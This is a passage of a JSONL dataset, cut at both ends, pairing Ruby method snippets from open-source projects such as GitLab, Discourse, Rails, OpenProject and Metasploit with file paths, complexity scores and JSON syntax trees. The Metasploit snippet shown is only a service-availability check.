\"var\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sidekiq\"]},\"RedisConnection\"]},\"__send__\",{\"type\":\"sym\",\"children\":[\"determine_redis_provider\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"var\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"d3e1e86c-d441-433e-83bc-8ee8d7f62718"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/slash_commands/presenters/issue_new.rb","start_line":15,"raw_source":"def pretext\n          \"I created an issue on #{author_profile_link}'s behalf: *#{issue_link}* in #{project_link}\"\n        end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"pretext\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"I created an issue on \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"author_profile_link\"]}]},{\"type\":\"str\",\"children\":[\"'s behalf: *\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"issue_link\"]}]},{\"type\":\"str\",\"children\":[\"* in \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_link\"]}]}]}]}","id":"a1864176-0df0-41de-97cf-7e38fb3838b1"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":1144,"raw_source":"def validate_category(category)\n    raise Discourse::InvalidParameters.new(:category) unless category && category.is_a?(Category)\n  end","complexity_score":5.5,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_category\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"is_a?\",{\"type\":\"const\",\"children\":[null,\"Category\"]}]}]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"category\"]}]}]}]}]}","id":"93851ce1-efda-49b0-9446-e7f89c66977e"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/shipment.rb","start_line":211,"raw_source":"def with_free_shipping_promotion?\n      adjustments.promotion.includes(:source).any? { |p| p.source.respond_to?(:free_shipping?) && p.source.free_shipping? }\n    end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"with_free_shipping_promotion?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adjustments\"]},\"promotion\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"p\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"source\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"free_shipping?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"source\"]},\"free_shipping?\"]}]}]}]}","id":"05fc3c68-d00d-46ad-9354-72474a48c65d"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/lib/primer/open_project/forms/rich_text_area_spec.rb","start_line":39,"raw_source":"def render_form\n    render_in_view_context(model, namespace, params) do |model, namespace, params|\n      primer_form_with(url: \"/foo\", model:, namespace:) do |f|\n        render_inline_form(f) do |test_form|\n          test_form.rich_text_area(name: :ultimate_answer, label: \"Ultimate answer\", **params)\n        end\n      end\n    end\n  end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"render_form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_in_view_context\",{\"type\":\"send\",\"children\":[null,\"model\"]},{\"type\":\"send\",\"children\":[null,\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"namespace\"]},{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"primer_form_with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"str\",\"children\":[\"/foo\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"lvar\",\"children\":[\"namespace\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"f\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_inline_form\",{\"type\":\"lvar\",\"children\":[\"f\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_form\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_form\"]},\"rich_text_area\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"ultimate_answer\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"str\",\"children\":[\"Ultimate answer\"]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}]}]}","id":"072c2b1b-61e2-4eca-8fdb-5e63cef1c5dd"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract_mysql_adapter.rb","start_line":300,"raw_source":"def drop_database(name) # :nodoc:\n        execute \"DROP DATABASE IF EXISTS #{quote_table_name(name)}\"\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"drop_database\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DROP DATABASE IF EXISTS \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"quote_table_name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"0346166d-72c8-4f8c-ac20-c55bebf4d7e4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/badge.rb","start_line":233,"raw_source":"def self.find_system_badge_id_from_translation_key(translation_key)\n    return unless translation_key.starts_with?(\"badges.\")\n    badge_name_klass = translation_key.split(\".\").second.camelize\n    Badge.const_defined?(badge_name_klass) ? \"Badge::#{badge_name_klass}\".constantize : nil\n  end","complexity_score":9.7,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"find_system_badge_id_from_translation_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation_key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation_key\"]},\"starts_with?\",{\"type\":\"str\",\"children\":[\"badges.\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"badge_name_klass\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"translation_key\"]},\"split\",{\"type\":\"str\",\"children\":[\".\"]}]},\"second\"]},\"camelize\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Badge\"]},\"const_defined?\",{\"type\":\"lvar\",\"children\":[\"badge_name_klass\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Badge::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"badge_name_klass\"]}]}]},\"constantize\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"f5af1ba4-82b4-44b3-8760-eb64ebd88dc5"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/scheduler/thread_pool.rb","start_line":61,"raw_source":"def wait_for_termination(timeout: nil)\n      threads_to_join = nil\n      @mutex.synchronize { threads_to_join = @threads.to_a }\n\n      if timeout.nil?\n        threads_to_join.each(&:join)\n      else\n        failed_to_shutdown = false\n\n        deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout\n        threads_to_join.each do |thread|\n          remaining_time = deadline - Process.clock_gettime(Process::CLOCK_MONOTONIC)\n          break if remaining_time <= 0\n          if !thread.join(remaining_time)\n            Rails.logger.error \"ThreadPool: Failed to join thread within timeout\\n#{thread.backtrace.join(\"\\n\")}\"\n            failed_to_shutdown = true\n          end\n        end\n\n        if failed_to_shutdown\n          @mutex.synchronize { @threads.each(&:kill) }\n          raise ShutdownError, \"Failed to shutdown ThreadPool within timeout\"\n        end\n      end\n    end","complexity_score":46.0,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_termination\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"timeout\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"threads_to_join\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"threads_to_join\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"to_a\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timeout\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads_to_join\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"join\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"failed_to_shutdown\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"deadline\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"timeout\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"threads_to_join\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thread\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"remaining_time\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deadline\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"remaining_time\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"break\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"remaining_time\"]}]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ThreadPool: Failed to join thread within timeout\\n\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thread\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"failed_to_shutdown\",{\"type\":\"true\",\"children\":[]}]}]},null]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_to_shutdown\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@threads\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"kill\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ShutdownError\"]},{\"type\":\"str\",\"children\":[\"Failed to shutdown ThreadPool within timeout\"]}]}]},null]}]}]}]}]}","id":"7391f896-94e0-4fdd-945a-38d42e07312e"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/work_packages/activities.rb","start_line":213,"raw_source":"def expect_focus_on_editor\n        page.within_test_selector(\"op-work-package-journal-form-element\") do\n          expect(page).to have_css(\".ck-content:focus\", wait: 10)\n        end\n      end","complexity_score":8.78,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_focus_on_editor\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"within_test_selector\",{\"type\":\"str\",\"children\":[\"op-work-package-journal-form-element\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"page\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_css\",{\"type\":\"str\",\"children\":[\".ck-content:focus\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"wait\"]},{\"type\":\"int\",\"children\":[10]}]}]}]}]}]}]}","id":"4fcad8d7-4b97-401e-97c0-a1b4e984c7ca"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/callbacks_test.rb","start_line":409,"raw_source":"def test_save_around\n      around = AroundPerson.new\n      around.save\n      assert_equal [\n        \"yup\", \"yup\",\n        \"tweedle dum pre\",\n        \"w0tyes before\",\n        \"tweedle deedle pre\",\n        \"running\",\n        \"tweedle deedle post\",\n        \"w0tyes after\",\n        \"tweedle dum post\",\n        \"tweedle\"\n      ], around.history\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_save_around\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"around\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"AroundPerson\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"around\"]},\"save\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"yup\"]},{\"type\":\"str\",\"children\":[\"yup\"]},{\"type\":\"str\",\"children\":[\"tweedle dum pre\"]},{\"type\":\"str\",\"children\":[\"w0tyes before\"]},{\"type\":\"str\",\"children\":[\"tweedle deedle pre\"]},{\"type\":\"str\",\"children\":[\"running\"]},{\"type\":\"str\",\"children\":[\"tweedle deedle post\"]},{\"type\":\"str\",\"children\":[\"w0tyes after\"]},{\"type\":\"str\",\"children\":[\"tweedle dum post\"]},{\"type\":\"str\",\"children\":[\"tweedle\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"around\"]},\"history\"]}]}]}]}","id":"ddb4fa47-038a-4855-b217-8ef5de41523d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/component/snippet.rb","start_line":217,"raw_source":"def has_comment_content?(comment_content)\n          within_element('note-content') do\n            has_text?(comment_content)\n          end\n        end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"has_comment_content?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"comment_content\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"within_element\",{\"type\":\"str\",\"children\":[\"note-content\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"has_text?\",{\"type\":\"lvar\",\"children\":[\"comment_content\"]}]}]}]}","id":"87706373-1cb4-4b1d-9cf2-b8afc6f612d9"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/features/notifications/notification_center/notification_center_date_alerts_spec.rb","start_line":171,"raw_source":"def timezone_time(time, timezone)\n    timezone.now.change(time_hash(time))\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"timezone_time\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"timezone\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"timezone\"]},\"now\"]},\"change\",{\"type\":\"send\",\"children\":[null,\"time_hash\",{\"type\":\"lvar\",\"children\":[\"time\"]}]}]}]}","id":"6340ebee-3ab2-468b-948a-df99595fc071"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/repositories/containing_commit_finder.rb","start_line":48,"raw_source":"def type\n        params[:type]\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]}","id":"02c607a7-f1b7-4677-baed-65d6b046ec65"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/changes.rb","start_line":10,"raw_source":"def initialize\n        @refs = Set.new\n        @items = []\n        @branches_index = []\n        @tags_index = []\n        @repository_data = []\n      end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@refs\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@items\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@branches_index\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@tags_index\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@repository_data\",{\"type\":\"array\",\"children\":[]}]}]}]}","id":"6c5b0373-6768-4c58-9b88-14d61f3a0b93"}
{"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/datepicker/basic_datepicker.rb","start_line":28,"raw_source":"def open(trigger)\n      input = page.find(trigger)\n      input.click\n    end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trigger\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"input\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"lvar\",\"children\":[\"trigger\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"input\"]},\"click\"]}]}]}","id":"b9c1f906-e737-4c16-9547-7f56484bae99"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/pimcore_creds_sqli.rb","start_line":54,"raw_source":"def available?\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => normalize_uri(target_uri.path)\n    )\n\n    res && res.code == 200 && res.body.include?('pimcore')\n  end","complexity_score":13.85,"ast_json":"{\"type\":\"def\",\"children\":[\"available?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]}]}]}]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"pimcore\"]}]}]}]}]}","id":"ebc20de6-051c-4959-a014-21fbd8c51a70"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/modals/confirm_session.rb","start_line":15,"raw_source":"def submit_password(password)\n        find(\".confirm-session input#password\").fill_in(with: password)\n        find(\".confirm-session .btn-primary:not([disabled])\").click\n        self\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"submit_password\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"password\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".confirm-session input#password\"]}]},\"fill_in\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"with\"]},{\"type\":\"lvar\",\"children\":[\"password\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find\",{\"type\":\"str\",\"children\":[\".confirm-session .btn-primary:not([disabled])\"]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"9bf3bd98-75a2-46cb-b9f6-a42392ff4cd2"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/personas/bot.rb","start_line":217,"raw_source":"def process_tool(\n        tool:,\n        raw_context:,\n        current_llm:,\n        update_blk:,\n        prompt:,\n        context:,\n        current_thinking:\n      )\n        tool_call_id = tool.tool_call_id\n        invocation_result_json = invoke_tool(tool, context, &update_blk).to_json\n\n        tool_call_message = {\n          type: :tool_call,\n          id: tool_call_id,\n          content: { arguments: tool.parameters }.to_json,\n          name: tool.name,\n        }\n\n        if current_thinking.present?\n          current_thinking.each do |thinking|\n            if thinking.redacted\n              tool_call_message[:redacted_thinking_signature] = thinking.signature\n            else\n              tool_call_message[:thinking] = thinking.message\n              tool_call_message[:thinking_signature] = thinking.signature\n            end\n          end\n        end\n\n        tool_message = {\n          type: :tool,\n          id: tool_call_id,\n          content: invocation_result_json,\n          name: tool.name,\n        }\n\n        prompt.push(**tool_call_message)\n        prompt.push(**tool_message)\n\n        raw_context << [tool_call_message[:content], tool_call_id, \"tool_call\", tool.name]\n        raw_context << [invocation_result_json, tool_call_id, \"tool\", tool.name]\n      end","complexity_score":35.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_tool\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"tool\"]},{\"type\":\"kwarg\",\"children\":[\"raw_context\"]},{\"type\":\"kwarg\",\"children\":[\"current_llm\"]},{\"type\":\"kwarg\",\"children\":[\"update_blk\"]},{\"type\":\"kwarg\",\"children\":[\"prompt\"]},{\"type\":\"kwarg\",\"children\":[\"context\"]},{\"type\":\"kwarg\",\"children\":[\"current_thinking\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_call_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"tool_call_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"invocation_result_json\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"invoke_tool\",{\"type\":\"lvar\",\"children\":[\"tool\"]},{\"type\":\"lvar\",\"children\":[\"context\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"update_blk\"]}]}]},\"to_json\"]}]},{\"type\":\"lvasgn\",\"children\":[\"tool_call_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"tool_call\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"tool_call_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"arguments\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"parameters\"]}]}]},\"to_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_thinking\"]},\"present?\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_thinking\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thinking\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thinking\"]},\"redacted\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call_message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"redacted_thinking_signature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thinking\"]},\"signature\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call_message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"thinking\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thinking\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call_message\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"thinking_signature\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"thinking\"]},\"signature\"]}]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"tool_message\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"tool\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"tool_call_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"invocation_result_json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call_message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"prompt\"]},\"push\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_message\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"raw_context\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_call_message\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"content\"]}]},{\"type\":\"lvar\",\"children\":[\"tool_call_id\"]},{\"type\":\"str\",\"children\":[\"tool_call\"]},{\"type\":\"send\",\"